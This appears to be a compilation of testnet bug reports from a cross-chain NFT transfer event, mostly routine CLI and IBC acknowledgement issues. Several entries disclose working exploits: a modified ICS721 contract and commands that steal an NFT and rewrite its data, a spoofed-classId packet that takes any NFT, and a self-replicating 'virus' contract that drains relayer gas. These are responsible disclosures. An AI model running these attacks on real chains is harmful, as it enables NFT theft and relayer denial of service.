gir1/mccallofthewild iaa1ztxwfpggyc5eqhev548z8wkwj8hx5k4hxdkqlr
gir1/meathewww iaa1kezghqmxep8apuxc7nv44rnu8anhm3hrmzynmp
gir1/mengfanjie95 iaa1r29cfs58lff6m072hnkglq38kq6958r7js8t28
gir1/mmcel iaa1rwyh0mvg36s3776mwjxpuxqezvd3503qrhdkaa
gir1/nguyenquan9699 iaa1wq967n8dczefkzun2wfg0mnm882ydqur06lwzq
gir1/nodeiistt iaa1zy9ev09xxr58rfx9te90vdysmuyrwr7evyklj7
gir1/nodestake iaa184hv0zmw2n9ud3h87mdykz22dr2d7yumpd9lfa
gir1/nurtagum iaa1fxvmkjm5rzr2mhy63qum7y87544nu5hrsgkpcp
gir1/nyaironggeng1 iaa1pczvcvkjaqqmaxpjpxq0kyxc9p5fwn62wukvpv
gir1/oOZz iaa1hp386plt6xu0mnjxjzxp4zf5w5ccjdd85v6cqc
gir1/okannako iaa1vc5l6qu23vee608f5ggwrnqtc4aexaw6gewz9q
gir1/okwme iaa1l5um3uekts87fvjunel8xvv9vadspc33m3c5vx
gir1/oldcatv iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx
gir1/omercanyenigun iaa1h96drj3x7qjvgfscevz7nd2e7eqj8g7nmc8r2k
gir1/onurhizlan iaa1zeqycljyz0a8l0mfam5hkv7xyvmssf0ngm0rzh
gir1/osmanbo iaa1wpp9yffpcljulvnss08ress6y8qtqa3ekg5s8u
gir1/pingpub iaa1evafzxq68h556shtqcjtz0vkejdd4275qwzfpf
gir1/pinosu iaa1nrtuu9c0dkcxcrd5w7fyppy9l6343fwe5a5pqa
gir1/polkavio iaa1ag44l06ec3kkaf4cx5s7w8dnwdhnhvk06fzt5s
gir1/ptts55 iaa104m3r6tuanzmq8ll4wyuhh5dqqynfvqsey5zjg
gir1/remianch iaa1782pwpag2ve6wgd9wphhd5atm6emlv04udajf0
gir1/rysiman iaa1dw7uznahn3sklj544pyy73vzxxedpsu0cdna0p
gir1/sanshainstar iaa1zcr3dutv0uh0sr2x2ll4aqlcxyyyk2gh78rmuc
gir1/sarsersirsur iaa1dlg3ez2c6phmf7xk5pk98l9qzehnkqruyfr20w
gir1/secard51 iaa1f70vf6yt675322hh7a38am40he926d8sc66dn9
gir1/selimkafa iaa12vcrw9cjvsnzs02q2fp9p4lx4pzfhxnk2dn2hd
gir1/si35 iaa132pl57u4qm0d0jax4dsk4jkdfc2mcp6lwu2qmk
gir1/silentnoname iaa1g5arldt04fs4m23p2wjzqwrd5yppu2kchj39v0
gir1/songjiazhun iaa1z8ukcxmhelz7jncsctl27jmdzmqanqrmtj77z9
gir1/stguller2 iaa1q8zrfyv7muv7aflr5xzn069zfumy4xs8atc0w6
gir1/studentmtk iaa1pkeydzqcdrvyeutp4p3q4k2r96sajuf4896wy4
gir1/superdreams iaa1vwqy94txqy0suva8jam58d995pmuqvh8jy4lxc
gir1/sxlmnwb iaa1xheppmt689acf7mp6je59tmjqgstjghkqrmrm9
gir1/szryldrm iaa1w67t645d9usgdyvgsamc4y6axpax8ertn4hhwf
gir1/taitruong iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f
gir1/techwomen35 iaa10pxl8fqs7kp68wh7uvsjnhx0vhupanzkjuk67x
gir1/timveltman3 iaa14gzr79v27csvlyperv0gsf5me9jywlthns2r8x
gir1/tiramisu26 iaa17ks9yaes9x9tfrt4eees7mzeck00pzc5tqfu7x
gir1/trulacgctcnetwork iaa1dtgf8l2c6efpkshnm24xzn52nhry8uj99r2gjm
gir1/uniqlabsorg iaa1s3m24ynlwqsr88584mkcaepj6kfx0fn345eh6d
gir1/valNodeOne iaa1djjha5yv5p32fpuw4l99nfnhc4j84gfk64cuz3
gir1/vivensy iaa17mdu9nwkl5j0a3repexh7wplmvsvupulju3rc8
gir1/waitrouz iaa1hgwvd0scc7qmyrr97mrkm8yfa9rcxmr3e8qzju
gir1/wetezos iaa179h7vvp3vveng5xrhu95k8vaxgr8d8gzfpqsr9
gir1/williamchong iaa1wesx8r0696ejnasqarrxd0gm45c4jwjns6n7fx
gir1/williamqiao iaa103pz3cah5cqluek895wh92z9u4v9mf9qy6cjnf
gir1/xavier200203 iaa1ghcwp60uzgylr3kukkppzq457j0tlqw7g3s69u
gir1/xbdyhh iaa1w3t6kvkvhudyrcvveu9yzyh3sv7ykpsthvsepz
gir1/xianxianzhou iaa16hqe6z0d08d007uuwq6xx23srww65atj9fgcpq
gir1/xxfs iaa1c275fwntd765htsaqzffv262yxj99rr6pv8ddc
gir1/yekssin iaa1zj835pe42xlp6cxxr60zk7uw9dvk5q3yxycqj6
gir1/yuanzd123 iaa1d5cz9wyjlkeymw22meq4c9fl7p5k5kysnv8kp9
gir1/yulianandyka iaa1pu5asmzmhumwly4umu4qg4k4pysyg2lwdpqrp9
gir1/zanglang iaa1tez4axjzrfr0h96hug80wgcfuhe402m5ckass2
gir1/zhangweidong123 iaa1lex2e7swh6wfgwtm5r8p94cjf425pmznucpsv0

AWARD: Ark Protocol Claim Best Auditor and/or Bug :)

Not sure whether the following exploit covers Best Auditor or Bug or both :).

Summary

There is a way of rugging an NFT and changing its (token) data, by having the following setup:

  1. Original collection is e.g. on IRISnet
    Collection is created on IRISnet and an NFT is minted with token data

  2. An exploited ICS721 contract is setup e.g. on Stargaze
    On receiving an NFT (from IRISnet) it does:
    This contract overrides incoming recipient address send from IRISnet and provides its own address as new NFT owner.

On sending an NFT (to IRISnet) it does:
sends an NFT with exploited/manipulated token data

Exploit happens this way then:

  • user is directed via a fake site/link enforcing sending his NFT to Stargaze.
  • user believes NFT is transferred over to Stargaze and its stargaze wallet (aka recipient)
  • NFT is transferred to Stargaze via exploited ICS721 contract
  • ICS721 contract sends NFT to a newly instanted CW721 collection
  • NFT is stolen, since recipient address got overriden, where ICS721 passed another address
  • exploiter owns NFT and sends it back to original/OG collection to IRISnet with its address as new owner
  • exploited ICS721 contract does send exploited token data (e.g. with a more rare trait as on-chain metadata)
  • nft module on IRISnet receives NFT, unlocks NFT by assigning new owner AND changes token-data

Steps to reproduce:

original ICS721 contract is here: https://github.com/public-awesome/ics721/tree/3af19e421a95aec5291a0cabbe796c58698ac97f/contracts/cw-ics721-bridge

On NFT receive and taking NFT ownership, replace line 55 with this: https://github.com/public-awesome/ics721/blob/3af19e421a95aec5291a0cabbe796c58698ac97f/contracts/cw-ics721-bridge/src/ibc_packet_receive.rs#L55

    let rugged_receiver = "stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc";
    let receiver = deps.api.addr_validate(rugged_receiver)?;

On NFT transfer and changing token data, replace line 190: https://github.com/public-awesome/ics721/blob/3af19e421a95aec5291a0cabbe796c58698ac97f/contracts/cw-ics721-bridge/src/contract.rs#L190

        token_data: Some(vec![to_binary("{\"exploit\": \"gotcha\"}")?]),

Now a honeypot on Stargaze needs to be setup:

  • upload exploited ICS721 contract on a target chain like Stargaze or any wasm based chain
  • setup IBC channels between exploited ICS721 contract (on target chain) and nft module (on source/OG chain)
  • transfer NFT via exploited channel to target chain
  • transfer NFT back to source chain

Detailed steps:

# upload exploited ICS721 contract (ICS721 code id: 1674)
starsd tx wasm store ./cw_ics721_bridge_exploit.wasm  --gas auto --gas-adjustment 1.3 -b sync --output json --from stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc -y

# instantiated exploited ICS721 contract (ICS721 contract: stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl)
starsd tx wasm instantiate 1674 '{"cw721_base_code_id":1635}' --label exploit --gas auto --gas-adjustment 1.3 -b block --from stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc --yes --admin stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc

# create IBC channel (IRISnet: channel-38, Stargaze: channel-229)
hermes --config relayer/config.toml create channel --new-client-connection --channel-version ics721-1 --yes --a-chain elgafar-1 --b-chain gon-irishub-1 --a-port wasm.stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl --b-port nft-transfer

# mint NFT: arkNFT003, owner: iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f
clear;./mint.sh --chain iris --collection-id arkprotocol001 --token-id arkNFT003 --uri "https://my-og-collection.io" --name "This is the OG collection" --data '{"twitter": "arkprotocol", "discord_invite": "https://discord.gg/fVv6Mf9Wr8", "team_name": "Ark Protocol", "description": "This one gets exploited"}' --data '{"og": "collection"}'
# query minted NFT
iris query nft token arkprotocol001 arkNFT003 --output json | jq
{
  "id": "arkNFT003",
  "name": "This is the OG collection",
  "uri": "https://my-og-collection.io",
  "data": "{\"og\": \"collection\"}",
  "owner": "iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f",
  "uri_hash": ""
}

# transfer to exploited channel, with receiver: stars183e7ccwsnngj2q8lfxnmekunspnfxs6q8nzqcf
iris tx nft-transfer transfer nft-transfer channel-38 stars183e7ccwsnngj2q8lfxnmekunspnfxs6q8nzqcf arkprotocol001 arkNFT003 --from iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f --fees 2000uiris        -b sync --yes --output json

# relay to Stargaze
hermes --config relayer/config.toml clear packets --chain gon-irishub-1 --channel channel-38 --port nft-transfer

# retrieve cw721 contract (stars14fu9yngepuqagcf22wwjmaq8tfu2vjdsfjfnss2rccpmpanyp4ps5g9869)
starsd query wasm contract-state smart stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl '{"nft_contract":{"class_id":"wasm.stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl/channel-229/arkprotocol001"}}'
# query shows nft got receive not by above recipient, but by wallet given by exploited ICS721 contract
starsd query wasm contract-state smart stars14fu9yngepuqagcf22wwjmaq8tfu2vjdsfjfnss2rccpmpanyp4ps5g9869 '{"all_nft_info":{"token_id": "arkNFT003"}}' --output json | jq
{
  "data": {
    "access": {
      "owner": "stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc",
      "approvals": []
    },
...

# exploiter, new owner transfers back to IRISnet to any wallet
starsd tx wasm execute stars14fu9yngepuqagcf22wwjmaq8tfu2vjdsfjfnss2rccpmpanyp4ps5g9869 '{
        "send_nft": {
            "contract": "stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl",
            "token_id": "arkNFT003",
            "msg": "eyAicmVjZWl2ZXIiOiAiaWFhMTgzZTdjY3dzbm5najJxOGxmeG5tZWt1bnNwbmZ4czZxeGQ0djNmIiwgImNoYW5uZWxfaWQiOiAiY2hhbm5lbC0yMjkiLCAidGltZW91dCI6IHsgImJsb2NrIjogeyAicmV2aXNpb24iOiA2LCAiaGVpZ2h0IjogMzk5OTk5OSB9IH0gfQo="}}'        --from stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc        --gas-prices 0.01ustars --gas auto --gas-adjustment 1.3        -b sync --yes --output json

# relayer does the actual transportation to IRISnet:
hermes --config relayer/config.toml clear packets --chain elgafar-1 --channel channel-229 --port wasm.stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl

# query on OG collection on IRISnet shows token data has changed
iris query nft token arkprotocol001 arkNFT003 --output json | jq
{
  "id": "arkNFT003",
  "name": "",
  "uri": "https://my-og-collection.io",
  "data": "\"{\\\"exploit\\\": \\\"gotcha\\\"}\"",
  "owner": "iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f",
  "uri_hash": ""
} 

BUG: redundant result entries in `omniflixhubd query onft denoms`

Summary of Bug

Doing a query on all denoms. Output contains redundant denom entries

Environment

  • OS: Ubuntu 22.04
  • Software version: Omniflix v0.9.0-gon-test2

Steps to Reproduce

$ omniflixhubd version
0.9.0-gon-test2

$ omniflixhubd query onft denoms --output text --page 0|grep "id:" >  denoms.json 
$ omniflixhubd query onft denoms --output text --page 1|grep "id:" >>  denoms.json 
$ omniflixhubd query onft denoms --output text --page 2|grep "id:" >>  denoms.json 

Now in file there these redundant denoms:

  • ibc/FB13EEAA22AEC96A38CE92959DB492B7A487B74151EBA5AA2F3E1A9AA10BA9E3
  • ibc/3031998311B73DA46F63D9CF6F55E5378C018D668DE97BCDC82B3DF88CC009AD

Expected and Actual Behavior

A list of unique denoms, instead it outputs redundant denoms

BUG: IBC Acknowledgements code 5, but still receive nft

When transfer NFT from Omniflix to Iris, the IBC Acknowledgements always show code 5, packet acknowledgement hash not found.

Bug 1: can not transfer nft (O-J-1) to others.
TX: https://gon.ping.pub/omniflix/tx/E3B0410DDA8C92C11A0D0B155FAC99BAF9AAF9CD4DB6CE18ADFE43AE4F07A0BB

Bug 2: try transfer nft (O-J-1) to myself. IBC Acknowledgements code still 5, but Iris wallet received the nft.
TX: https://gon.ping.pub/omniflix/tx/iaa103pz3cah5cqluek895wh92z9u4v9mf9qy6cjnf

BUG: Critical vulnerability allows attacker to take control of any NFT

Summary of Bug

Chains using nft-transfer module are affected.

An attacker can create a custom ICS721 implementation on a remote chain, and send packets with a classId that matches the class-trace path of any NFT on the origin chain, because the nft-transfer module does not verify the owner of the NFT in the destination chain, the attacker can steal any NFT, even if the NFT has never been used in an IBC nft-transfer.

Environment

Steps to Reproduce

  • Add custom code to ics721 implementation to allow sending packets with a custom classId,
    e.g {port}/{channel}/{remote-class-id}, where {remote-class-id} is the NFT class to attack.

malicious packet sent:

{
  "classId": "wasm.juno14svms48zknd2583kunct22haqf26tsmzd8z0n50zgfj9mkfygdvqxjhjdj/channel-113/bitvalidator01",
  "classUri": null,
  "classData": null,
  "tokenIds": [
    "bitnftA4"
  ],
  "tokenUris": null,
  "tokenData": null,
  "sender": "juno1zxtlyk7l6n3t46yqse84sza7ar39m8ul3gdfye",
  "receiver": "iaa1zxtlyk7l6n3t46yqse84sza7ar39m8uljcwrp5",
  "memo": "hack"
}

Expected and Actual Behavior

  • Expected: ACK with Error: Unauthorized NFT owner
  • Actual: attacker receives the NFT

Additional Context

BUG: transferred NFT did not transferred to recipient, but got escrowed

Found 2 examples:

  1. transfer from Stargaze to Juno
    Full flow: Irisnet -> Stargaze -> Juno -> Uptick -> Juno (back transferred) -> Stargaze (back transferred) -> Irisnet (backtransferred) -> Stargaze (retransferred) -> Juno (retransferred, ack error)
  2. transfer back from Stargaze to Irisnet
    Full flow: Irisnet -> Stargaze -> Irisnet (backtransferred, ack error)

In both cases ack failed. As a result NFT is not returned/unlocked on source chain (Stargaze):

  1. Stargaze -> Juno
    a) transfer: https://gon.ping.pub/stargaze/tx/36E5AC4BF6EF7C7522031F9B27DA910BD2C44C14AC082E514596BDBD963E1379
    b) ack: https://gon.ping.pub/juno/tx/499CA03C3E91CB958E76431468BC3772513AF12CFE9273C5268A85DEA2338822
    error:
  • raw log: {"key":"packet_ack","value":"{"error":"codespace: wasm, code: 5"}
  • message: code 5, rpc error: code = NotFound desc = packet acknowledgement hash not found: key not found
  1. Stargaze -> IRISnet (back transfer)
    a) transfer: https://gon.ping.pub/stargaze/tx/0364AD07BBCF638122F0F35D376F9B27BA91A5E01B37C436CA015D20B0EEC919
    transferred succesfully

b) ack: https://gon.ping.pub/iris/tx/F3964D610E30F3CD74353A4BE9191CBEBECCF8D2378D9BED42A89FCE80904408
ack error:

  • raw log: {"key":"packet_ack","value":"{"error":"ABCI code: 1: error handling packet: see events for details"}
  • decoding bech32 failed: invalid separator index 11 | decoding bech32 failed: invalid separator index 11

BUG: (minor) Token ID Attributes Should Be Strings

Summary of Bug

Nothing crazy here. The newtype pattern's benefits do not extend to response attributes. Token ID attrs should be formatted such that transactions can be easily searched and indexed by token id.

Environment

  • OS: MacOS
  • Software version: cw-ics721-bridge

Steps to Reproduce

Steps to reproduce the behavior:
Transfer cw-ics721-bridge

Expected and Actual Behavior

Expected:

.add_attribute("token_id", String::from(token_id))
"value": "mytokenid"

Actual:

.add_attribute("token_id", token_id)
"value": "[TokenId(\"mytokenid\")]"

Error Stack

NA

Additional Context

NA

Possible error related to timeout

A certain user 0xtekgrinder#1558 used the gon cli service and sent a transaction from Juno to Iris.
Transaction hash: 94E6EA52C5B3EC73B407D6C45CA6D7B0C5E335920CC218B1E59E10EB9D3C9896
It got an error: rpc error: code = NotFound desc = packet acknowledgment hash not found: key not found

After a little analysis, I saw that it was the height of the block specified in the encoded message:
ewogICJyZWNlaXZlciI6ICJpYWExZDk1NzhreHA4ZnUwYXo4MDk4ZDJyOXd6bnFmcjBud3d1dW1tOGUiLAogICJjaGFubmVsX2lkIjogImNoYW5uZWwtOTAiLAogICJ0aW1lb3V0IjogewogICAgImJsb2NrIjogewogICAgICAicmV2aXNpb24iOiAxLAogICAgICAiaGVpZ2h0IjogNDE2NzA2CiAgICB9CiAgfQp9
The message is the following:

{
  "receiver": "iaa1d9578kxp8fu0az8098d2r9wznqfr0nwwuumm8e",
  "channel_id": "channel-90",
  "timeout": {
    "block": {
      "revision": 1,
      "height": 416706
    }
  }
}

But the transaction was executed in a much higher block. See screenshot:
image

Perhaps this is not a bug, or a service error.
But as far as I know, timeout related errors look different.
This confused both me and the participant.
Please pay attention to this.
If this is a service error, please explain why such an error occurred and what exactly it means.

Thank you for your attention :)

P.S.
The discussion took place in the gon-testnet channel

BUG: Cannot get <class-hash> from correct <nft-transfer-trace>

Summary of Bug

Cannot get from correct using command:
junod q wasm contract-state smart juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a '{"nft_contract": {"class_id" : "wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-120/wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-207/supermintG"}}'

Environment

  • OS: macOS 13.2.1 (22D68)
  • Software version: v12.0.0

Steps to Reproduce

This happens when I transfer NFT following this flow: i --(1)--> s --(1)--> j --(1)

The following channel is deprecated and the transaction may fail:
wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-211 <> wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-93
Therefore I am using the new channel
wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-230 <> wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-120

Transaction hash:
i --(1)--> s --(1): 9E8F18E127CA44B9002472712E6D969A5B0E6AB407A193950B8ED3F19541F35D
s --(1)--> j --(1): A5CCA2462B680A476D86A1486F2B5EF5FBB34FACAEC120023580DD83D8A72162

Expected and Actual Behavior

It should return a class-hash. It returns null.

Additional Context

I have checked others transfer from the old channel are working correctly.
For example,
junod q wasm contract-state smart juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a '{"nft_contract": {"class_id" : "wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-93/wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-207/a2001"}}'
returns juno18wmuflvdm7klx06js8tq0hhadmhxj65qxg2nncgj8u5z08cus0psk2kp9p

BUG: ICS721 Recursive Loop

Summary of Bug

The CosmWasm ICS721 implementation lacks sufficient constraints for safe relayer operations. To demonstrate this, I created the ICS721 virus.

Overview

The ICS721 virus is a malicious contract that infects either or both sides of a CosmWasm IBC connection. It creates an asynchronous recursive loop of relayers sending and timing out ICS721 packets, which execute a malicious transfer function, minting more NFTs and sending them as ICS721 packets, which they then need to transfer or timeout, and the loop repeats.

With only one packet required from the attacker, an IBC connection can be brought to its knees overnight. In the case of Game-of-NFTs, relayers minted over 500000 NFTs, ran out of gas funds, decommissioned their operations, and organizers had to set up new IBC channels for participants to complete their tasks.

Note: Prior to publicizing, it was important to first ensure this attack was not applicable to live ICS20 implementations including cw20-ics20 and TokenFactory. After testing this by writing the ics20-devils-snare contract, I am optimistic that submessage gas limits are a sufficient barrier. The version of Token Factory live on Juno should not be susceptible to this exploit, but the latest version includes a BlockBeforeSend hook which would make the transfer port quite vulnerable.

Steps to Reproduce

Sequence Diagram

sequenceDiagram
    participant I as Alice
    participant A as Chain A CW-721
    participant B as Chain B CW-721
    I-->>A: Upload Virus Contract
    I-->>B: Upload Virus Contract
    I->>A: Instantiate Virus A
    I->>B: Instantiate Virus B
    I->>A: Register Virus B Address
    I->>B: Register Virus A Address
    I->>A: IBC Transfer NFT-A to NFT-B
    I->>B: IBC Transfer NFT-B to NFT-A
    I->>A: Register Voucher A Address
    I->>B: Register Voucher B Address
    I->>B: IBC Transfer NFT-A back to NFT-A
    loop Exponential Transfer Virus:
        B->>A: Relayer Executes NFT-A.Transfer
        A-->>A: NFT-A.Transfer Mints new NFT-A
        A-->>A: NFT-A.Transfer IBC Transfers NFT-A1 ,NFT-A2 
        A-->>A: NFT-A.Transfer IBC returns NFT-B -> NFT-B
        A->>B: Relayer Executes NFT-B.Transfer
        B-->>B: NFT-B.Transfer Mints new NFT-B
        B-->>B: NFT-B.Transfer IBC Transfers NFT-B1, NFT-B2 
        B-->>B: NFT-B.Transfer IBC returns NFT-A -> NFT-A 
        loop Packet Timeout Subloop 
            Note over A, B: Packets Timeout in Relayer Queue 
            B->>B: Relayer Executes NFT-B.Transfer 
            B-->>B: NFT-B.Transfer Mints new NFT-B
            B-->>B: NFT-B.Transfer IBC Transfers NFT-B3
        end
        Note over A, B: Using batch transfers can ensure ordering.
        Note over A, B: Optimally vouchers return before native.
    end

Written Steps With Code

  1. Alice uploads the virus contract to both Chain A and Chain B.
chaind tx wasm store \
  ./cw721_virus.wasm \
  --from $KEY --gas-prices 0.025ucosm \
  --gas "auto" \
  --gas-adjustment 1.5 \
  --yes
  1. Alice instantiates Virus A on Chain A and Virus B on Chain B.
chaind tx wasm instantiate $VIRUS_CODE_ID '{ 
  "name":"Virus", 
  "symbol":"virus", 
  "minter":"'$ALICE_ADDRESS'" 
}'
  1. Alice registers Virus B's address with Virus A and Virus A's address with Virus B.
chaind tx wasm execute $SRC_VIRUS_CONTRACT '{
    "extension": {
      "msg": {
        "update_spike_proteins": {
          "accomplice_src": "'$COUNTERPARTY_VIRUS_CONTRACT'",
          "channel_id": "'$SOURCE_CHANNEL'",
          "bridge_contract": "'$SOURCE_BRIDGE_CONTRACT'"
        }
      }
    }
  }'
  1. Initializing Transfers:
    4.1. Alice initiates an IBC transfer of NFT-A (of Virus A) from Chain A to Virus B Contract address on Chain B.
    4.2. Alice initiates an IBC transfer of NFT-B (of Virus B) from Chain B to Virus A Contract address on Chain A.
# this can be done by executing the counterfeit transfer message
chaind tx wasm execute $SRC_VIRUS_CONTRACT '{
  "transfer_nft": {
    "recipient": "doesntmatterwontbevalidated",
    "token_id": "doesntmatterwontbevalidated"
  }
}'
  1. Relayer executes #ibc_packet_receive entrypoints on each chain's cw-ics721-bridge, instantiating cw721 voucher contracts for each class id
  2. Alice registers voucher contract addresses with each virus contract
chaind tx wasm execute $SRC_VIRUS_CONTRACT '{
  "extension": {
    "msg": {
      "update_spike_proteins": {
        "accomplice_dst": "'$LOCAL_COUNTERPARTY_VOUCHER'"
      }
    }
  }
}'
  1. Alice initiates an IBC transfer, returning NFT-A from Virus B to itself on Chain A.

🔁 loop begins:

  1. Relayer executes Virus-A.Transfer on Chain A.
  2. Virus-A.Transfer mints new NFT-A on Chain A and IBC transfers NFT-A1 and NFT-A2 to Chain B.
  3. Virus-A.Transfer IBC transfers NFT-B back to Virus-B.
  4. A relayer executes Virus-B.Transfer on Chain A.
  5. Virus-B.Transfer mints new NFT-B on Chain B and IBC transfers NFT-B1 and NFT-B2.
  6. NFT-B.Transfer IBC returns NFT-A -> NFT-A.
  7. Repeat.

The above loop continues until the packets timeout in the relayer queue.

🔁 Packet timeouts initiate their own asynchronous loops as follows:

  1. Relayer attempts timeout, executing Virus-B.Transfer on Chain A.
  2. Virus-B.Transfer mints new NFT-B on Chain B and IBC transfers NFT-B1 and NFT-B2.
  3. NFT-B.Transfer IBC returns NFT-A -> NFT-A.
  4. Repeat

Impact

The demonstrated attack can instigate significant harm by causing relayers to self-inflict exponentially increasing packet volume and gas expenditures.

This is not necessarily a denial of service attack. While the deployed version mints 4-10 new NFTs per invocation, the most profitable variant need only transfer two packets at a time, silently and continuously collecting income from Juno's FeeShare module at the expense of relayers.

Conclusion

If ICS721 is to utilize the altruistic relayer economy of ICS20, packets must have semi-fungible assurances in terms of cost and functionality. This can be achieved via submessage gas limits and/or code id whitelists.

Optimally, users should be relaying their own transactions, which addresses most of the described risks.

Links

BUG: Omniflix denom query not working for IBC transferred denoms

The scope of bugs are not 100% clear, so not sure if this qualifies as a bug in the program or not. If not I will file it with Omniflix directly.

Summary of Bug

When using the following command with the OmniFlix cli, there is some validation of the "ID" that is not taking IBC-denoms into account:

$ omniflixhubd q onft denom ibc/A7E0CED936458907B4A7635B0E2A63F540A84FE45C36C96CEC106D8D47C2D743
Error: invalid denom ID ibc/A7E0CED936458907B4A7635B0E2A63F540A84FE45C36C96CEC106D8D47C2D743, only accepts alphanumeric characters, and begin with an english letter: invalid denom

Interestingly enough, it works fine if you query using collection instead of denom.

Environment

  • OS: Linux, Ubuntu 22.04
  • Software version: omniflixhubd 0.9.0-gon-test

Steps to Reproduce

  1. Transfer an NFT to OmniFlix
  2. Find the class hash (q nft-transfer class-hash)
  3. Query for denom using the form ibc/<CLASS_HASH>

Another approach you can take is to query for all denoms, find any that has the ibc/<CLASS_HASH> format and try to query for that one directly (which will also fail).

Expected and Actual Behavior

It should see the format as valid and query for the IBC-transferred NFT.

BUG: Multiple token sending is missing (cw-ICS721)

According to the ICS721 spec, multiple tokenIDs can be sent in the same IBC packet, the nft-transfer module supports this, but cw-ics721 although it allows receiving multiple tokens, it does not allow sending multiple tokens.

e.g: In the following Tx, approve, revoke are executed in cw721, and transfer in cw-ics721

{ 
 "messages": [
  {
    "approve_all": {
      "operator": "ics721-addr"
    }
  },
  {
    "transfer_nft": {
      "contract": "cw721-addr",
      "token_ids": ["token1", "token2", "token3"],
      "channel_id": "channel-1",
      "receiver": "iaa1...",
      "timeout": {
        "timestamp": 1234567890
      },
    }
  },
  {
    "revoke_all": {
      "operator": "ics721-addr"
    }
  }
]}

demo code

BUG: Wrong transaction log for failed transaction for A6 tasks (Transfer the NFT on Uptick to IRISnet)

Summary of Bug

A "success" status was returned for failed transfer of NFT from Uptick to IRISNet.

There happened an occasion that "success" was returned for a failed transfer. The NFT was not transferred but a "success" status was returned by mistake.
The hash on Uptick is "46ED6726AD4A8DD96153D45771B099289F7AEF6886D44C2C844ADBDD610B7936"
The transfer is finally completed in transaction with hash "A01AF11CE35EB7405DB13B767F89D79D834DCC5816EF38C918CF69E97FCD832B"
which returned "success"

Environment

  • OS: Ubuntu 22.04 TLS
  • Software version: Uptickd v0.2.6

Steps to Reproduce

Have tried to reproduce the issue using the exact same commands used:

  1. Sending the same NFT from IRISNet to Uptick
    (iris tx nft-transfer transfer nft-transfer channel-17 uptick1j2u7fnhw8yjv8m6gyts08pu292ylvsnn3sg8je ocv1 ocvnft02 --from key --fees 2000uiris)
    => a successful status returned

  2. Checking NFT was gone
    (iris q nft owner iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx)
    => sent NFT was not found as expected

  3. Sending the same NFT from Uptick back to IRISNet
    uptickd tx nft-transfer transfer nft-transfer channel-3 iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx ibc/F4788C5394F4CB878995DDC93DE4EF75C3BE038560C5649788D78134AB625BA9 ocvnft02 --from key
    => a successful status returned

  4. Checking NFT was returned
    (iris q nft owner iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx)
    => set NFT was returned as expected

  5. Trigger the same command to send the same NFT from Uptick back to IRISNet
    uptickd tx nft-transfer transfer nft-transfer channel-3 iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx ibc/F4788C5394F4CB878995DDC93DE4EF75C3BE038560C5649788D78134AB625BA9 ocvnft02 --from key
    => a failed status returned

However, this time the transfers are successful and smooth. The error could not be reproduced.

Expected and Actual Behavior

N/A

Error Stack

N/A

Additional Context

By comparing The transaction log for the found "failed" transfer and a normal one, they are very similar.

BUG: `iris` cli, queries does not consider `output` in config in `client.toml`

Summary of Bug

Output has been changed to json using iris config output json. But for queries like iris query bank balances or iris query nft collection output is always text. But for commands like iris tx nft mint it works fine and use the config for output.

Environment

  • OS: Ubuntu 22.04
  • Software version: iris v1.4.1-gon-testnet

Steps to Reproduce

# change output to json
iris config output json
# query balances
iris query bank balances MY_WALLET # output in text! but should be json!
iris query bank balances MY_WALLET --output json # output in json
# query collection
iris query nft collection 'arkprotocol001' # output in text! but should be json!
iris query nft collection 'arkprotocol001' --output json # output in json!
# mint, output in JSON
iris tx nft mint 'arkprotocol001' 'arkNFT014' --from MY_WALLET --recipient MY_WALLET --fees 2000uiris -b sync --yes
# change output to text and mint outputs to text!
iris config output text
iris tx nft mint 'arkprotocol001' 'arkNFT015' --from MY_WALLET --recipient MY_WALLET --fees 2000uiris -b sync --yes

Expected and Actual Behavior

Expecting output to be based on client.toml / config!

BUG: Transfer an NFT from IRISnet Stargaze

iris hash: 4650BF5F9771C0B51D977F368B3B74763F3E26205F09243BE1E9ABDD44B37E06
classid: isc721FanIRISId
nftid: isc721FanNFT1stId
transfer isc721FanNFT1stId to Stargaze success, But contractAddress cannot be found in Stargaze
